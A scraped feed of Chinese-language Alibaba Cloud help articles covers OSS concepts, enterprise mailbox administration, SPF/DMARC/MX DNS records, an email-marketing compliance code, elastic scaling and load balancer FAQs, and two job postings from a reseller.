          存储空间是您用于存储对象(Object)的容器,所有的对象都必须隶属于某个存储空间。您可以设置和修改存储空间属性用来控制地域、访问权限、生命周期等,这些属性设置直接作用于该存储空间内所有对象,因此您可以通过灵活创建不同的存储空间来完成不同的管理功能。

        • 对象/文件(Object)

          对象是 OSS 存储数据的基本单元,也被称为OSS的文件。对象由元信息(Object Meta),用户数据(Data)和文件名(Key)组成。对象由存储空间内部唯一的Key来标识。对象元信息是一个键值对,表示了对象的一些属性,比如最后修改时间、大小等信息,同时您也可以在元信息中存储一些自定义的信息。

        • 地域(Region)

          地域表示 OSS 的数据中心所在物理位置。您可以根据费用、请求来源等综合选择数据存储的地域。详情请参见OSS已开通的Region。

        • 访问域名(Endpoint)

          Endpoint 表示OSS对外服务的访问域名。OSS以HTTP RESTful API的形式对外提供服务,当访问不同地域的时候,需要不同的域名。通过内网和外网访问同一个地域所需要的域名也是不同的。具体的内容请参见各个Region对应的Endpoint。

        • 访问密钥(AccessKey)

          AccessKey,简称 AK,指的是访问身份验证中用到的AccessKeyId 和AccessKeySecret。OSS通过使用AccessKeyId 和AccessKeySecret对称加密的方法来验证某个请求的发送者身份。AccessKeyId用于标识用户,AccessKeySecret是用户用于加密签名字符串和OSS用来验证签名字符串的密钥,其中AccessKeySecret 必须保密。

        相关服务

        您把数据存储到OSS以后,就可以使用阿里云提供的其他产品和服务对其进行相关操作。

        以下是您会经常使用到的阿里云产品和服务:

        • 云服务器ECS:提供简单高效、处理能力可弹性伸缩的云端计算服务。请参见ECS产品详情页面。
        • 内容分发网络CDN:将源站资源缓存到各区域的边缘节点,供您就近快速获取内容。请参见CDN产品详情页面。
        • E-MapReduce:构建于阿里云云服务器 ECS 上的大数据处理的系统解决方案,基于开源的 Apache Hadoop 和 Apache Spark,方便您分析和处理自己的数据。请参见E-MapReduce产品详情页面。
        • 媒体处理:将存储于OSS的音视频转码成适合在PC、TV以及移动终端上播放的格式。并基于海量数据深度学习,对音视频的内容、文字、语音、场景多模态分析,实现智能审核、内容理解、智能编辑。请参见媒体处理产品详情页面。

        使用OSS

        阿里云提供了Web服务页面,方便您管理对象存储OSS。您可以登录OSS管理控制台,操作存储空间和对象。关于管理控制台的操作,请参见控制台用户指南。

        阿里云也提供了丰富的API接口和各种语言的SDK包,方便您灵活地管理对象存储OSS。请参见OSS API参考和OSS SDK参考。

        OSS定价

        传统的存储服务供应商会要求您购买预定量的存储和网络传输容量,如果超出此容量,就会关闭对应的服务或者收取高昂的超容量费用;如果没有超过此容量,又需要您按照全部容量支付费用。

        对象存储OSS仅按照您的实际使用容量收费,您无需预先购买存储和流量容量,随着您业务的发展,您将享受到更多的基础设施成本优势。

        关于对象存储OSS的价格,请参见OSS详细价格信息。关于OSS的计量计费方式,请参见OSS计量项和计费项。

        学习路径图

        您可以通过OSS产品学习路径图快速了解OSS,学习相关的基础操作,并利用丰富的API、SDK包和便捷工具进行二次开发。



        ]]>
        【阿里云自营建站】千套模板 品质保证 Fri, 02 May 2025 09:39:04 +0800 购物车全产品返25% Fri, 02 May 2025 09:39:04 +0800 商标服务 专业专注 极速申报 最快1分钟递交到商标局 Fri, 02 May 2025 09:39:04 +0800 商标服务
        专业专注 极速申报 最快1分钟递交到商标局
        ]]>
        普惠上云,云服务器1核1G仅需293元/年 Fri, 02 May 2025 09:39:04 +0800 企业级性能云服务器限时2折起,更高计算网络性能 Fri, 02 May 2025 09:39:04 +0800 阿里云企业邮箱邮件组批量添加多个成员邮箱 Fri, 02 May 2025 09:39:04 +0800 阿里云企业邮箱邮件组批量添加多个成员邮箱



        问题场景:

        企业邮箱创建邮件组后,组成员的编辑过程和方法。

        操作步骤:

        1. 单击邮件组列表的 查看成员 按钮,进入组成员编辑界面。

        企业邮箱

        2. 可分别通过单个账号、选择邮件组成员和导入邮件组成员,3个方法进行添加。

        2.1 添加单个组成员。在 添加框 中,输入邮箱账号的关键字,选择匹配出的邮箱账号名称,单击 添加 按钮。

         

        企业邮箱

         

        2.2 选择邮件组成员。单击 选择邮件组成员 的三角按钮,在 员工账号列表 中选择部门后面的 + 号,对部门中的所有账号批量选择,单击 添加 

        企业邮箱

         

        2.3 导入邮件组成员。

        单击添加框上方的  按钮,根据要求编辑好导入文件后,单击 导入邮件组成员 按钮,选择上传导入文件,单击 添加 即可。

        企业邮箱

         

        3. 邮件组列表界面中,组名称一栏的数字如10/500,10即是当前的组成员账号数量。

        企业邮箱

        ]]>
        邮箱账号冻结无法登陆,怎么办?-阿里云企业邮箱 Fri, 02 May 2025 09:39:04 +0800 邮箱账号冻结无法登陆,怎么办?-阿里云企业邮箱



        【问题】

        正确输入邮箱地址和密码,提示账号已被冻结,如何解冻?

         

        【解决方案】

        您可以联系域名管理员,进行解冻。

        域名管理员经过判断,选择需要解冻的账号,点击“操作”——“开启”,即可。如下图

        阿里云企业邮箱

        ]]>
        阿里云免费个人邮箱mail.aliyun.com问题反馈入口-阿里云邮箱 Fri, 02 May 2025 09:39:04 +0800 阿里云免费个人邮箱mail.aliyun.com问题反馈入口-阿里云邮箱




         

        https://mail.aliyun.com/邮箱属于免费个人云邮箱,免费个人云邮箱的问题建议通过登陆页面右上方的“服务中心”自助查询。

        或者您也可以点击“云邮小助手”进行智能查询。

        提示:

        免费个人云邮箱问题目前不提供工单技术支持,请个人云邮箱用户移步以上链接页面进行问题反馈;

        阿里云免费邮箱

        ]]>
        什么是DMARC?如何设置 DMARC记录?-阿里云企业邮箱 Fri, 02 May 2025 09:39:04 +0800 什么是DMARC?如何设置 DMARC记录?-阿里云企业邮箱



        设置DMARC记录,防止他人伪造贵司域名,还可以获取到他人尝试伪造贵司域名的情况。

        当Mail Receiver方(其MTA需支持DMARC协议)收到该域发送过来的邮件时,则进行DMARC校验,若校验失败会发送一封report到DMARC设置的邮箱。

        第一步:

        在设置DMARC记录之前,贵司必须保证已经设置如下SPF记录:

        “v=spf1 include:spf.mxhichina.com -all”

        第二步:

        当设置了SPF记录后,推荐贵司设置如下DMARC记录:

        _dmarc.yourdomain.com TXT “v=DMARC1; p=quarantine;rua=mailto:dmarc_report@yourdomain.com;ruf=mailto:dmarc_report@yourdomain.com”

        阿里云企业邮箱

        ]]>
        集团邮箱做 CNAME 域名验证的必要性-阿里云企业邮箱 Fri, 02 May 2025 09:39:04 +0800 集团邮箱做 CNAME 域名验证的必要性-阿里云企业邮箱




        为了防止域名被冒用,对于某些域名,要求先验证这个域名的所有权,才可以作为集团版企业邮箱的域名。验证的方式是,根据要求,对域名设置一条唯一的 CNAME 记录。如果这条记录被成功设置,则证明该域名确实是属于申请者的。

        对于大多数申请者来说,并不需要设置这条“唯一的 CNAME ”。当我们认为可能会出现域名冒用的情况,则会在创建过程中告知具体方法。

        ]]>
        MX、CNAME以及TXT记录的名词解释-阿里云企业邮箱 Fri, 02 May 2025 09:39:04 +0800 MX、CNAME以及TXT记录的名词解释-阿里云企业邮箱




        MX全称为mail exchanger,用于电子邮件系统发邮件时根据收信人的地址后缀来定位邮件服务器。例如,当有人发邮件给“vincen@example.com”时,系统将对“example.com”进行DNS中的MX记录解析。如果MX记录存在,系统就根据MX记录的优先级,将邮件转发到与该MX相应的邮件服务器上。
         

        阿里企业邮箱要求的MX记录设置方法如下所示:
        邮件服务器名:mxn.mxhichina.com. 优先级:5
        邮件服务器名:mxw.mxhichina.com. 优先级:10
        或者:
        邮件服务器名:mx1.qiye.aliyun.com. 优先级:5
        邮件服务器名:mx2.qiye.aliyun.com. 优先级:10
        邮件服务器名:mx3.qiye.aliyun.com. 优先级:15


        阿里云企业邮箱

        为什么要增加邮件域CNAME记录?
        CNAME即别名记录。增加CNAME记录,您可以使用“mail.企业域名”这种形态来访问企业邮箱登录页面。
        例如mail.hichina.com.别名:mail (请注意,这里只能用mail,不可以用其他内容)
         阿里云企业邮箱
        如图所示,当您提交验证以后,系统会自动进行校验,这个过程通常会在2个小时左右,请耐心等待。

         

        为什么要增加邮件域TXT记录?
        增加TXT记录,是完成发送者身份的鉴别。业界一般称之为SPF,是(Sender Policy Framework)的缩写,一种以IP地址认证电子邮件发件人身份的技术,是非常高效的垃圾邮件解决方案。接收邮件方会首先检查域名的SPF记录,来确定发件人的IP地址是否被包含在SPF记录里面,如果在,就认为是一封正确的邮件,否则会认为是一封伪造的邮件进行退回。
        SPF是通过域名的TXT记录来进行设置的。为了提升域名邮箱发送外域(阿里云邮箱以外的邮箱,例如QQ邮箱)邮件的成功率,建议您给自己的域名设置一条TXT记录来避免这种情况。
        阿里云企业邮箱  
        当您提交验证以后,系统会自动进行校验,这个过程通常会在2个小时左右,请耐心等待。

        ]]>
        营销邮件标准及相关规范-阿里云企业邮箱 Fri, 02 May 2025 09:39:04 +0800 营销邮件标准及相关规范-阿里云企业邮箱



        阿里云任何版本的企业邮箱服务禁止发送营销邮件,营销邮件标准及相关规范,参见中国互联网协会反垃圾信息中心的管理规范

        中国互联网协会电子邮件营销规范(V1.2)

        来源:反垃圾信息中心

        一、总则

        1.1 为规范电子邮件形式的市场营销行为,统一电子邮件营销[注1]的基本要求,为接收和发送营销内容的电子邮件提供依据,保护电子邮件用户的合法权益,根据我国相关法律法规的规定,制定本规范。

        1.2 本规范适用于电子邮件营销活动的开展和评价。

        1.3 本规范基于《互联网电子邮件服务管理办法》(中华人民共和国信息产业部令第38号)制定,从事电子邮件营销除应执行本规范外,还应符合《互联网电子邮件服务管理办法》及其他国家现行的有关标准的规定。

        二、基本规定

        2.1 中国互联网协会对电子邮件营销服务提供者[注2]实行登记备案管理。电子邮件营销服务提供者应当在开展电子邮件营销活动前将电子邮件发送服务器所使用的IP地址[注11]及相关信息向中国互联网协会反垃圾信息中心登记备案,并遵守以下规定:

        2.1.1需报备的 IP 地址及相关信息

        (1)备案单位基本情况,包括备案单位名称、备案单位地址、备案单位性质、备案单位组织机构代码、备案单位营业执照注册号、备案单位经营范围、备案单位注册资金、备案单位网站域名、备案单位法人代表姓名、备案单位联系人姓名、联系人电话、 联系人电子邮件、联系人即时通信方式等。

        (2)备案单位电子邮件发送服务器IP地址分配使用信息,包括备案单位用于发送电子邮件的IP地址数量、IP地址、IP地址段、IP地址所属单位名称、IP地址对应域名、IP地址对应发送营销电子邮件[注3]性质/类型(事务性邮件和商业性邮件等);

        (3)备案单位可自愿报备每次电子邮件营销活动的信息,包括本次营销活动使用IP地址、域名、发件人邮箱地址、电子邮件HELO[注19]信息、收件人数量、发送周期、平均发送速率[注10]、单IP最大发送速率、发送营销电子邮件性质/类型(事务性邮件和商业性邮件等)、营销电子邮件的原信/样信等。

        (4)其他需要备案的信息。

        2.1.2 电子邮件营销服务提供者拟变更电子邮件营销服务信息的,应当提前办理变更登记手续。

        2.1.3 电子邮件营销服务提供者提交的备案信息必须完整、真实、有效且符合我国相关法律法规规定。

        2.1.4 中国互联网协会反垃圾信息中心负责审核电子邮件营销服务提供者提交的备案资料,对符合要求的备案单位发放电子邮件营销备案资质证书。

        2.2 电子邮件营销服务提供者应当确保所有与电子邮件服务有关的域名和IP地址注册信息正确、完整和及时更新,并遵守以下规定:

        2.2.1 发送电子邮件的服务器IP地址必须使用静态IP[注12]地址,并已采取IP反向解析[注13]措施。

        2.2.2 发送电子邮件的邮箱域名建议与发送电子邮件的服务器IP反向解析的域名信息一致,并已采取SPF解析[注14]

        2.2.3 建议使用DKIM[注15]、DMARC[注16]等反垃圾邮件技术,提高与电子邮件发送相关的域名和IP的信誉。

        2.2.4 关注知名的RBL[注17]组织列表,如果发现与电子邮件发送相关的域名、IP或邮箱地址出现在知名的RBL[注17]组织列表上,应及时采取措施进行申诉和解封。

        2.2.5 建议发送事务性邮件和商业性邮件的服务器分配不同的IP地址和发送邮箱地址。

        2.2.6 具有特殊功能的账户,如postmaster@账户(邮件管理员账户)或abuse@账户(投诉账户),必须保证其有效,并由专人负责管理维护。

        2.3 电子邮件营销服务提供者应当建立可靠有效的订阅[注5]及退订[注9]机制,并遵守以下规定:

        2.3.1未经电子邮件接收者明确许可,不得向其发送营销电子邮件。获取接收者许可的过程和内容应清楚、明确,且不违背我国的相关法律规定。电子邮件营销服务提供者应公布获取接收者许可的策略,保存接收者同意接收营销邮件的许可记录,以便在需要时向接收者提供相关信息。

        2.3.2营销电子邮件必须提供给接收者至少包含一种退订的途径和具体操作方法,退订信息应醒目、清晰,退订操作方法应简单,有效。

        2.3.3确保退订请求可以正常发送并能够被及时自动响应处理。不得强制要求用户提交退订原因或设置退订条件,退订请求发出后应在3个工作日内生效。

        2.4 电子邮件营销服务提供者应规范的使用和维护其营销用户[注4]的电子邮件地址列表[注6],并遵守以下规定:

        2.4.1 电子邮件营销服务提供者对营销用户的个人信息和电子邮件地址负有保密的义务。未经用户同意,不得泄露用户的个人信息和电子邮件地址,法律、行政法规另有规定的除外。

        2.4.2 电子邮件营销服务提供者应制定安全合理的隐私策略[注8]。营销用户的个人信息资料和电子邮件地址的使用应与收集目的一致,未经用户同意,不得用于收集目的以外的其它用途。

        2.4.3 必须保证每个电子邮件地址的取得都经过了用户的许可。尽量确保每个电子邮件地址都是真实有效的。

        2.4.4 应合理处理邮件投递过程中接收电子邮件的服务器返回的错误代码[注7]。对于返回代码表示不存在的电子邮件地址,应及时从发送列表中删除;对于连续出现投递错误的电子邮件地址,建议及时调整投递策略,减少可能导致错误发生的情况。

        2.5 电子邮件营销服务提供者应使用规范的电子邮件格式与内容,并遵守以下规定:

        2.5.1 营销电子邮件的内容不得违反我国相关法律法规规定。

        2.5.2 营销电子邮件格式应符合国际通用规范标准(参见RFC 2822)。邮件中如果包含HTML格式,应遵循由万维网联盟(W3C)公布的w3.org[注18]设计规范。

        2.5.3 营销电子邮件应标明邮件发送方的身份和真实的可返回的邮件发送地址。邮件的标题和信体要能准确的反映出邮件的内容、真实来源和通信目的。邮件正文应包含发送方的名称、地址、联系电话和电子邮件地址等详细信息。

        2.5.4 营销电子邮件的主题与内容必须相匹配。邮件内容应与营销用户的订阅内容一致。

        2.5.5 应采取有效的措施保护未成年人,尽可能的识别未成年的邮件订阅者。营销电子邮件含有不适合未成年人阅读的内容时,应提前核实接收者的年龄,确保接收者达到合法接收和阅读的年龄。发送给未成年人的营销邮件应征得其监护人的许可,内容符合此年龄段人群的知识水准、阅历和心里成熟程度。

        2.6 电子邮件营销服务提供者应与邮件接收方建立良好的沟通渠道,并参考以下规定:

        2.6.1 中国互联网协会反垃圾信息中心负责协助电子邮件营销服务提供者与邮件接收组织之间的沟通协调,在邮件传送过程中出现问题时,及时有效的进行沟通,确保尽快使问题得到解决。

        2.6.2 中国互联网协会反垃圾信息中心应协助电子邮件营销服务提供者与邮件接收组织之间建立信息反馈机制,改进电子邮件营销服务提供者的服务水平。

        2.6.3 中国互联网协会反垃圾信息中心应对电子邮件营销活动进行监督,对电子邮件营销服务提供者的信誉进行评价。

        2.6.4 电子邮件营销服务提供者应建立公平、高效、安全、易于使用的邮件投诉系统,在营销电子邮件中为营销用户提供便捷的投诉方式,受理营销用户对营销电子邮件的投诉。对被投诉的营销电子邮件,应立即开展调查,采取合理有效的防范或处理措施,并将有关情况和调查结果及时向各省通信管理局等国家有关机关或者12321网络不良和垃圾信息举报受理中心报告。

        2.6.5 电子邮件营销服务提供者应按照邮件接收方的要求限制营销电子邮件的发送速率。邮件接收方应将未投递成功的电子邮件服务器错误信息反馈邮件发送方。对信誉良好,行为规范的电子邮件营销服务提供者,邮件接收方可适当放宽营销电子邮件的发送速率。

        2.7 电子邮件营销服务提供者应积极配合各省通信管理局等国家有关机关和12321网络不良和垃圾信息举报受理中心开展调查工作。

        2.8 中国互联网协会拥有本规范的解释权和修改权。

        2.9 本规范自发布之日起施行。

         

        附注:

        1. 电子邮件营销:指通过电子邮件开展的营销活动。

        2. 电子邮件营销服务提供者:也是营销电子邮件的发送方,指提供电子邮件营销服务的单位或个人,包括直接开展电子邮件营销活动的单位或个人以及接受委托开展电子邮件营销活动的单位或个人。

        3. 营销电子邮件:指具有营销功能的电子邮件。根据电子邮件的发送目的,分为事务性邮件和商业性邮件两种类型。

        3.1 事务性邮件,是指由收件人触发并已允许发件人发送的,以推动、完成或确认相关联流程为主要目的而发送的电子邮件。常见分类包括:

        (1)账号相关:账号激活、信息验证、账号绑定、密码修改、密码取回等。

        (2)交易信息:订单通知、付款通知、退款通知、物流通知、交易投诉等。

        (3)账单信息:对帐单、流水账单、催款通知、账户变更等。

        (4)其他类型。

        3.2 商业性邮件,是指任何以推销或者推广某种商品或服务(包括商业性网站的内容)为主要目的而发送的电子邮件。常见分类包括:

        (1)期刊资讯:更新通知、各类期刊、各类报表等。

        (2)产品促销:新品推广、季末促销、优惠套餐、折扣优惠、积分优惠等。

        (3)成员营销:好友邀请、成员关怀、主题活动、用户调研等。

        (4)其他类型。

        3.3 事务性邮件如果附带商业性内容,则视为商业性邮件。

        4. 营销用户:指电子邮件营销活动的对象,即接收营销电子邮件的电子邮箱使用者。

        5. 订阅:指营销用户预先订制,同意接收订制的营销电子邮件的行为。

        6. 邮件列表:指已经订阅了某一类营销电子邮件的用户电子邮箱地址列表,该列表是此类营销电子邮件的发送对象。

        7. 错误代码/硬退回/软退回:指在邮件的SMTP发送过程中,收信方服务器每处理完一条SMTP命令,都会向发信方服务器回传一个返回信息,用于表明对这条SMTP命令的执行结果。

        如返回信息以4XX(如450等)开头,指接收方临时性拒收该邮件,称软退回;

        如返回信息以5XX(如550等)开头,指接收方永久性拒收该邮件,称硬退回。

        以上列举的两类代码,习惯称为错误代码。

        8. 隐私策略:指电子邮件营销活动所收集的营销用户信息类型,收集方式和收集技术,以及信息的提供对象和使用用途。隐私策略中还应包括用户信息保护的安全措施、责任和实施过程。

        9. 退订:指营销用户取消订阅营销电子邮件的行为。

        10. 发送速率:指单位时间内的发送电子邮件的总数量。
        常见的时间间隔单位包括:分钟、15分钟、小时、天、周、月等。

        11. IP地址/IP段

        IP地址是被用于定位互联网上的电脑一个唯一编号,地址的格式如159.226.1.1。多个IP地址的组合,即称为IP段。

        邮件发送过程中会?谰軮P地址,来确定邮件发送者和邮件接收者的位置。

        12. 静态IP地址

        指长期固定分配给一台计算机使用的IP地址,一般是由网络运营商分配。

        13. IP反向解析

        IP反向解析是一项常用的反垃圾邮件技术。常用的DNS服务器里面有两个区域,即“正向查找区域”和“反向查找区域”。正向查找区域是指域名解析,反向查找区域即是IP反向解析,简称PTR记录,其作用是通过查询IP地址的PTR记录来得到该IP地址指向的域名。

        PTR记录需要由提供IP地址的网络运营商(ISP)进行配置。

        14. SPF

        SPF(Sender Policy Framework)是一种通过IP地址来认证电子邮件发件人身份的技术,是一项非常高效的反垃圾邮件技术。它通过在DNS中发布一条TXT类型的记录,用于登记某个域名所有拥有的合法的发送邮件的所有IP地址。

        15. DKIM

        DKIM(DomainKeys Identified Mail)是一种防诈骗邮件的反垃圾邮件技术。DKIM要求邮件发送方在电子邮件的信头插入DKIM-Signature及电子签名信息,而邮件接收方则通过DNS查询得到其公钥然后进行合法性验证。

        16. DMARC

        DMARC(Domain-based Message Authentication, Reporting and Conformance)是一种防诈骗邮件的反垃圾邮件技术。DMARC结合SPF和DKIM两项技术,通过检查电子邮件信头的发件人的合法性,将诈骗邮件识别出来。

        17. RBL

        RBL(Real-time Blackhole List),即实时黑名单列表,是一些由国际知名的反垃圾邮件组织所提供的恶意发送垃圾邮件的发件人邮箱地址,IP地址,URL地址等黑名单列表的服务。若已被RBL收录,需到相应RBL官方网站上去核实并申请移除。

        常见的知名RBL组织,如中国互联网协会反垃圾信息中心、spamhaus,Maps,sorbs,uribl,surbl等。

        18. w3.org规范

        由万维网联盟(W3C)共同开发与公布的各种web设计规范。当邮件正文以网页的形式组织时,应当参考这些规范。

        19.HELO

        电子邮件头中邮件发送者用来标识自己的身份的命令字段。

         

        附录:

        电子邮件营销常用指标

        1. 发送量

        发送的营销电子邮件数量

        2. 到达量

        发送的营销电子邮件数量-退回的营销电子邮件数量

        3. 到达率

        到达接收方邮箱的营销电子邮件数量/发送的营销电子邮件数量×100%

        4. 退信率

        退回的营销电子邮件数量/发送的营销电子邮件数量×100%

        5. 硬退信率

        硬退回的营销电子邮件数量/发送的营销电子邮件数量×100%

        6. 软退信率

        软退回的营销电子邮件数量/发送的营销电子邮件数量×100%

        7. 打开率

        打开营销电子邮件的接收方数量/收到营销电子邮件的接收方数量×100%,不计算重复打开邮件的情况。

        8. 点击率

        点击了营销电子邮件内容中链接的接收方数量/收到营销电子邮件的接收方数量×100%,不计算重复点击的情况。

        9. 点击打开率

        点击了营销电子邮件内容中链接的接收方数量/打开营销电子邮件的接收方数量×100%,不计算重复点击和重复打开的情况。

        10. 退订率

        退订营销电子邮件的接收方数量/收到营销电子邮件的接收方数量×100%

        11. 投诉率

        被投诉的营销电子邮件数量/到达接收方邮箱的营销电子邮件数量×100%

        12. 信誉度

        邮件接收方或者第三方机构对营销电子邮件服务信誉和质量的评定结果

         

        参考

        中华人民共和国信息产业部令第38号 互联网电子邮件服务管理办法

        中国互联网协会 电子邮件服务指南(V1.1)

        中国互联网协会 中国互联网协会互联网公共电子邮件服务规范

        YD-T 1310-2004 互联网广告电子邮件格式要求

        YD-T 1311-2004 防范互联网垃圾电子邮件技术要求


        ]]>
        米姆招聘-PHP高级工程师 Fri, 02 May 2025 09:39:04 +0800

        职位描述

        公司福利:带薪年假  年底三薪  项目分成 

        职位类型:IT/互联网

        基本要求:年龄不限性别不限

        工作地点:广州



        职位描述:

        1. 对项目独立进行数据库设计、接口设计等;

        2. 定期维护相关项目和系统,处理反馈的bug,保持项目稳定运行;

        3. 针对业务场景的应用要求,不断优化系统设计和前台表现,提升系统效能、安全性和用户体验;

        4. 负责公司服务器的日常运维;

        5. 能独立管理与执行公司及品牌客户技术项目。

        资历要求Qualification Experiences:

        1. 3年及以上LAMP开发经验;

        2. 熟悉PHP开发语言,有一定的OOP思想,熟悉PHP主流的设计模式;

        3. 熟悉MysQL数据库应用开发,了解MySQL的数据库配置管理、性能优化等基本操作技能;

        4. 熟悉AJAX,Js,Css,Jquery等前端工具;

        5. 熟悉威信网页API或有使用相关API的项目开发经验者有限;

        6. 具有良好的编程风格,承受一定的工作压力并在指定时间内完成高质量的程序。

        7.有游戏开发、商城开发经验者优先。


        ]]>
        米姆招聘-资深java开发工程师 Fri, 02 May 2025 09:39:04 +0800

        职位描述

        公司福利:带薪年假  年底三薪  项目分成 

        职位类型:IT/互联网

        基本要求:年龄不限性别不限

        工作地点:广州

        职位描述:

        岗位职责: 1. 参与系统架构设计,技术架构选型,并主导功能模块设计、数据结构设计、接口设计;

        2. 参与系统核心功能的研发工作;负责核心技术问题的攻关,系统优化,协助解决项目开发过程中的技术难题;

        3、参与产品方案设计、设计文档评审、代码评审等工作。

        任职要求:

        1. 5年以上大规模在线交易系统设计、规划及参与系统运维经验,熟悉JavaGolang等语言;

        2. 精通大规模系统的JavaEE架构技术,熟练掌握常见开源框架和技术,如Spring Cloud、Spring Boot、dubbo、RabbitMQ、Redis等,熟练使用MyEclipseIntelliJ Idea开发工具,对框架本身有过开发或重构者可优先考虑;

        3. 熟悉主流应用服务器的架构体系、数据库以及各种中间件技术,如tomcat、jboss、jetty、MysqlMariaDB、Postgresql等;

        4. 精通常用设计模式和主流设计工具,能进行系统建模、总体设计;

        5. 熟悉大规模系统的负载均衡、缓存、网络存储、网络安全、数据库高可用设计及性能评估机制;

        6. 具备海量数据、大批量、高并发、高性能分析及处理的成熟经验;

        7. 具备良好的文档撰写能力、编写习惯,良好的抽象思维和逻辑思维能力,独立分析问题解决问题的能力;

        ]]>
        阿里云企业邮箱简介介绍 Fri, 02 May 2025 09:39:04 +0800

        阿里云企业邮箱简介介绍


        企业邮箱是以企业域名做后缀的邮箱,既能体现公司的品牌和形象,又能方便公司主管人员对员工信箱进行统一管理,还能使得公司商业信函来往获得更好更安全的管理,是现今互联网时代中不可缺少的现代化的通讯工具。

        选择企业邮箱的优势

        - 树立企业品牌形象——基于企业独立域名,宣传企业自我形象

        员工的信箱都是”name@企业域名”这种形式,从而树立统一的企业品牌形象,方便企业形象推广。一旦公司拥有了这种性质的 email 信箱,就表明该公司在 Internet 上拥有了相对独立的身份。企业邮箱将成为公司对外宣传和从事业务的不可缺少的工具。

        - 自主的邮箱管理——随时开设关闭员工信箱,防止业务流失

        企业拥有自己的电子邮件系统便于统一管理,可以随时开设或关闭公司职员的 email 信箱,防止业务流失,而且重要的通知可以发送广播邮件,同域内的所有同事都能快速的收到通知邮件。

        - 方便快捷的管理方式——提供交互式管理界面

        为企业用户提供交互式管理界面,所有的工作将完全在 WEB 界面上完成,详细的帮助文档将使您的工作更简单快捷。用户通过客户端进行 POP3 和 SMTP 快速收发邮件,收发服务器配置简单方便,服务器连接快速稳定。

        - 便于企业管理——根据需要自主开设

        可以根据企业需要自主开设企业邮箱,可自由命名、分配容量、分组、群发、设定功能限制等,方便企业的统一管理。

        - 安全性、稳定性高

        企业邮箱在安全性、稳定性以及防病毒、反垃圾邮件功能方面远高于其他类邮箱,服务品质更适于企业商务应用。

        ]]>
        如何使用报警任务删除通过弹性伸缩创建的实例?-阿里云-上云就上阿里云 Fri, 02 May 2025 09:39:04 +0800 如何使用报警任务删除通过弹性伸缩创建的实例?-阿里云-上云就上阿里云




        背景信息

        弹性伸缩报警任务为您提供了一种通过监控特定指标来动态调整伸缩组内实例数量的方法,让您能够根据业务的变化实时的执行指定的伸缩规则,调整伸缩组内的实例数量。

        操作步骤

        1. 登录 弹性伸缩管理控制台 。
        2. 找到伸缩组,在 操作 列下单击 管理

          阿里云使用小妙招
        3. 前往 伸缩规则 页面,单击 创建伸缩规则,可以按照需求选择 减少 或者 调整至 指定数量的 ECS实例。

          阿里云使用小妙招
        4. 返回 弹性伸缩管理控制台 主菜单,选择 自动触发任务管理 > 报警任务,单击 创建报警任务统计办法 选择 ≤ 或者 < 某个阈值来删除之前通过弹性伸缩创建的且目前不再需要的实例。

          阿里云使用小妙招

          阿里云使用小妙招




        如果您还有问题,请随时联系米姆,我们将免费为您提供阿里云基础服务。

        ]]>
        为什么负载均衡的 7 层 HTTP 监听超时超过 60 秒-阿里云-上云就上阿里云 Fri, 02 May 2025 09:39:04 +0800 为什么负载均衡的 7 层 HTTP 监听超时超过 60 秒-阿里云-上云就上阿里云



        问题现象

        负载均衡响应 HTTP 转发请求时,单次 HTTP 监听的超时时间大约为 60 秒。

        然而,当负载均衡实例上配置了多台 ECS 实例时,ECS 实例配置的超时时间都大于60 秒,或者直接返回 504 错误。

        问题原因

        负载均衡的 HTTP 监听超时时间是保证请求在允许的时间内能返回的最后一条防线。

        负载均衡响应 HTTP 转发请求时时,如果负载均衡实例上配置了多台 ECS 实例,若第一台 ECS 实例访问超时,则自动轮询第二台 ECS 实例,若第二台 ECS 实例仍超时,则轮询第三台 ECS 实例,直到所有的 ECS 实例轮询完毕。假设一台负载均衡实例上配置了 3 台 ECS 实例,那么实际发生的 HTTP 请求超时时间会变成大约 180 秒。

        说明 然而,我们不排除其他服务会限制负载均衡超时时间设置。建议您避免依赖负载均衡监听超时设置,而是直接在 ECS 实例部署的应用上设置监听超时时间。

        为什么负载均衡的 7 层 HTTP 监听超时超过 60 秒-阿里云-上云就上阿里云



        问题现象

        负载均衡响应 HTTP 转发请求时,单次 HTTP 监听的超时时间大约为 60 秒。

        然而,当负载均衡实例上配置了多台 ECS 实例时,ECS 实例配置的超时时间都大于60 秒,或者直接返回 504 错误。

        问题原因

        负载均衡的 HTTP 监听超时时间是保证请求在允许的时间内能返回的最后一条防线。

        负载均衡响应 HTTP 转发请求时时,如果负载均衡实例上配置了多台 ECS 实例,若第一台 ECS 实例访问超时,则自动轮询第二台 ECS 实例,若第二台 ECS 实例仍超时,则轮询第三台 ECS 实例,直到所有的 ECS 实例轮询完毕。假设一台负载均衡实例上配置了 3 台 ECS 实例,那么实际发生的 HTTP 请求超时时间会变成大约 180 秒。

        说明 然而,我们不排除其他服务会限制负载均衡超时时间设置。建议您避免依赖负载均衡监听超时设置,而是直接在 ECS 实例部署的应用上设置监听超时时间。




        如果您还有问题,请随时联系米姆,我们将免费为您提供阿里云基础服务。


        ]]>
        使用云市场镜像在弹性伸缩创建ECS实例报错问题-阿里云-上云就上阿里云 Fri, 02 May 2025 09:39:04 +0800 使用云市场镜像在弹性伸缩创建ECS实例报错问题-阿里云-上云就上阿里云



        使用云市场镜像在弹性伸缩创建 ECS 实例报错问题:Fail to create Instance into scaling group.(The specified image is from the image market. You have not bought it or your quota has been exceeded.)如下图所示:
        阿里云使用小妙招

        这个问题是由于当前弹性伸缩服务还不能自动创建镜像市场的第三方镜像,客户需要先到 云市场 购买需要的第三方镜像,购买成功后再回到弹性伸缩服务中创建 ECS 实例即可。



        如果您遇到问题,请随时联系米姆我们将免费为您提供阿里云基础服务

        ]]>
        弹性伸缩添加数据盘的自动弹性伸缩-阿里云-上云就上阿里云 Fri, 02 May 2025 09:39:04 +0800 弹性伸缩添加数据盘的自动弹性伸缩-阿里云-上云就上阿里云



        1. 登录阿里云官网,选择 弹性伸缩控制台 > 伸缩组管理,打开相应的伸缩组,单击 伸缩配置 > 创建伸缩配置
        2. 在伸缩配置中,单击增加 数据盘,并设置数据盘的空间大小。如果需要用快照创建数据盘,可以单击 用快照创建磁盘,选择相应的快照。
          阿里云使用小妙招


        如果遇到任何问题,请及时联系米姆,我们将免费为您提供阿里云基础服务

        ]]>
